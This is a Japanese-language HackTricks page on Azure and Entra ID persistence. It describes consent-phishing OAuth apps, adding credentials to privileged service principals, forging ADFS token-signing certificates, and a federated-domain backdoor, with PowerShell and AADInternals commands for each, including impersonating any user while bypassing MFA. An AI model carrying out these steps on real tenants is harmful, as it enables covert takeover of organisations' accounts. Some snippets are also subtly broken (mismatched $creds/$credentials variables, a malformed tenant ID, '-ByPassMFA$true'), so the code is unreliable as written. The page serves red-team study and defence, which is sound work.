Az - Persistence

Reading time: 5 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

OAuthアプリケーション

デフォルトでは、任意のユーザーがEntra IDにアプリケーションを登録できます。したがって、高い影響力のある権限が必要なアプリケーション(ターゲットテナント専用)を登録できます。管理者の同意が必要です(管理者であれば承認できます) - 例えば、ユーザーの代理でメールを送信したり、役割管理を行ったりすることです。これにより、成功した場合に非常に有益なフィッシング攻撃を実行することができます。

さらに、ユーザーとしてそのアプリケーションを受け入れることで、アクセスを維持する方法としても利用できます。

アプリケーションとサービスプリンシパル

Application Administrator、GA、またはmicrosoft.directory/applications/credentials/update権限を持つカスタムロールの特権を持つ場合、既存のアプリケーションに資格情報(シークレットまたは証明書)を追加できます。

高い権限を持つアプリケーションをターゲットにすることも、高い権限を持つ新しいアプリケーションを追加することも可能です。

アプリケーションに追加するのに興味深い役割は、特権認証管理者ロールです。これにより、グローバル管理者のパスワードをリセットすることができます。

この技術は、MFAをバイパスすることも可能にします。

bash
$passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd)
Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a
  • 証明書ベースの認証の場合
bash
Connect-AzAccount -ServicePrincipal -Tenant <TenantId> -CertificateThumbprint <Thumbprint> -ApplicationId <ApplicationId>

Federation - Token Signing Certificate

DA権限を持つオンプレミスADでは、非常に長い有効期限を持つ新しいトークン署名およびトークン復号化証明書を作成およびインポートすることが可能です。これにより、ImmutableIDを知っている任意のユーザーとしてログインすることができます。

以下のコマンドをADFSサーバーでDAとして実行して新しい証明書を作成し(デフォルトパスワード 'AADInternals')、それらをADFSに追加し、自動ロールオーバーを無効にし、サービスを再起動します:

bash
New-AADIntADFSSelfSignedCertificates

次に、Azure ADで証明書情報を更新します:

bash
Update-AADIntADFSFederationSettings -Domain cyberranges.io

Federation - Trusted Domain

テナントにGA権限がある場合、新しいドメインを追加することが可能です(確認が必要です)、その認証タイプをFederatedに設定し、ドメインを特定の証明書(以下のコマンドのany.sts)および発行者を信頼するように設定します:

bash
# Using AADInternals
ConvertTo-AADIntBackdoor -DomainName cyberranges.io

# Get ImmutableID of the user that we want to impersonate. Using Msol module
Get-MsolUser | select userPrincipalName,ImmutableID

# Access any cloud app as the user
Open-AADIntOffice365Portal -ImmutableID qIMPTm2Q3kimHgg4KQyveA== -Issuer "http://any.sts/B231A11F" -UseBuiltInCertificate -ByPassMFA$true

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする